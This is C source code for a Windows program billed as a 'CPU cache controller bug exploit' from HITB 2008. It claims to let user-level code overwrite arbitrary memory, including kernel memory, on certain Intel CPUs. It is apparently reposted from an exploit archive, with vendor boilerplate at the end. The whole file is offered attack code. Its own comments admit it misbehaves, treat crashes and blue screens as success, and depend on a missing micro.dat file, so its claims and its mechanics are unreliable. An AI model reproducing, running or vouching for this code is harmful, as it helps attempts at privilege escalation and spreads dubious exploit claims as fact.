/*----------------------------------------------------------------------------
*
* CPU cache controller bug exploit
* ================================
*
* allows you to change content of arbitrary memory cells,including the kernel
* memory from the user level.
*
* the "victim" (memory cell) is supposed to be in L2 cache (1)
* and (addr % 4Kb) == 0 (2)
*
*
* tested on: Intel Core 2 Duo T5750, Intel Atom N270
*
* (x) Selena, nezumi // 2007, 2008, 2009
-----------------------------------------------------------------------------*/
#include <time.h>
#include <stdlib.h>
#include <stdio.h>
#include <windows.h>
#define N_CORE 4
// size of micro.dat is discarded, will rewrite this soon
#define N3 (257)
#define dw unsigned int
#define XXL (9*1024*1024)
dw buf[XXL+1];
// debug: testing micro-program for the old vm, does not work now
// latter comment 1: oh. my! it works! wow!
// latter comment 2: it works, but it does not what it's expected to
// dw buf[]={1,-3,0, -6,9,1, 13,-67,2, -69,96,3, 1,-1,4,
// -3,3,5, 16,-27,6, -66,99,7, 55,-1,8, -1,-3,9, 0,-67,10};
init_c();
engine(dw *p, size_t n);
// the infinite loop will be patched on the fly because of the Intel CPU bug
// addr of the test() func should be aligned by 4Kb boundary,
// 1st dword will be changed to NOP, NOP, NOP, NOP
// it's possible to change the kernel memory as well,
// two things:
// 1) alignment;
// 2) the code is currently executed;
//
// engine() obtains the address of test(), but does not check it,
// so if you replace it, you have to check the conditionals above by yourself.
// also the content to overwrite. if you want to change data memory
// it's supposed to be in the cache as well.
__declspec(naked) test()
{
__asm
{
l1: xor ecx, ecx
loop l1
retn
}
}
DWORD WINAPI ThreadProc(LPVOID lpParameter)
{
engine(buf, N3*3);
return 0;
}
DWORD WINAPI ThreadProc_dbg(LPVOID lpParameter)
{
test(); printf("\nyour CPU is buggy\n");
ExitProcess(0); return 0;
}
// micro code verification procedure
chk_m(dw *p, size_t n)
{
int f_err = 0; size_t a, i;
if (*(p + 2) != 0 ) printf("warning: ctx is not zero!\n");
for (a = 3, i = 1; a < n; a += 3)
{
if ( ( *(p + a + 1) != ((*(p + a + 0) + a) ^ i) )
|| ( /* removed */ 0 )
) printf("error @ %04Xh - incorrect micro-code\n", a*sizeof(dw)), f_err++; i++;
} if (f_err) printf("%d errors\n\n", f_err);
return f_err;
}
init_m()
{
FILE *f; size_t n;
printf("loading micro-program...");
f = fopen("micro.dat","rb");
if (!f) return printf("err\n"), 0;
n = fread(buf, 1, 80, f);
if (n != 80) return printf("err\n"), 0; else printf("%s...", buf);
n = fread(buf, 1, XXL, f); printf("%d bytes done\n", n);
buf[n/sizeof(dw)] = 0xDEAD;
if (chk_m(buf, n/sizeof(dw))) return 0;
return n;
}
init_t()
{
int a;
DWORD id; HANDLE h;
size_t size = 111;
printf("initializing XX thread...");
h = CreateThread(0, 0, &ThreadProc_dbg, 0, 0, &id);
if (h) printf("done\n"), CloseHandle(h); else return printf("err\n"), 0;
for (a = 1; a < N_CORE; a++)
{
printf("initializing #%d thread...", a);
h = CreateThread(0, 0, &ThreadProc, (LPVOID) size, 0, &id);
if (h) printf("done\n"), CloseHandle(h); else return printf("err\n"), 0;
size = (size & (~63)) * 4;
Sleep(100); // bad code, it's the source of many problem.
// a new thread should be created when and only
// when the previous one finished the pass,
// otherwise the micro-code becomes unstable.
}
// !!!dbg!!!, only for debug, should be disabled in the release
for (printf(",,,\n");;printf("%04X ", --id & 0xFFFF))
{
for (a = 0; a < 4;a++) printf("%04X ",buf[a] & 0xFFFF); printf("... ");
for (a = (N3*3/2-3); a < (N3*3/2+3); a++) printf("%04X ", buf[a] & 0xFFFF); printf("... ");
for (a = N3*3 /* no shit */; a > (N3*3-4); a--) printf("%04X ", buf[a] & 0xFFFF);
printf("\r");
}
}
// the engine executes the virtual code written by Selena,
// nezumi has no idea how the virtual code works, however,
// nezumi redesigned the virtual machine from the scratch,
// so, the source code of the engine is free to distribute,
// however, micro.dat is not free to distribute, there is
// a legal issue. also, it works only for certain CPUs.
//
// because of nature of Selena (she is an underground person
// lives in the shadows), it's unlikely that she will sue you
// if you decide to distribute the code that belongs to her.
// however, better do not do it for any reason.
engine(dw *p, size_t n)
{
int a; dw f1, f2, f3, fn, f0 = -1; size_t dt = 0;
for(;;)
{
f1 = *(p + ((dt++) % n));
f2 = *(p + ((dt++) % n));
f3 = *(p + ((dt++) % n));
// vm + scrambler + dynamic encoder + multi-pass obfuscator
fn = -1 ^ (f1 ^ f2) + ((dt + f1) ^ f2) ^ f0;
// a few minutes to trigger this condition on 2.4 MHz PC
if ( ((f1 ^ f2) == 0) || (f1 ^ f2 ^ f3) == 0)
{
// a sync problem. it would be better to use locks over here.
// crash happens. crash is not shit. crash means code works.
// so, should be really care about the addr and the content?
// it works for Intel Core 2 Duo T5750. o_o 5 ~ 10 minutes of
// it gives BSOD on Intel Atom N270 cpu o_o less than an hour
f3 = (dw) &test; f1 = 0x90909090 ^ f0; f2 = (dw) &test ^ fn;
printf("\nWOW!\n"); // remove it, plz, it's too slow to work
} *(p + (f3 % n)) = fn; f0 = fn; /* f0 = fn ^ dt */ ;
}
}
main()
{
int n;
printf("HITB 2008 missing exploit :=) by Selena\n,,,\n");
printf("micro-code is written by Selena\n");
printf("virtual machine is designed by Selena\n");
printf("virtual machine has been rewritten by nezumi\n,,,\n");
n = init_m(); if (n) n = init_t();
}
# 0day.today [2018-01-05] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation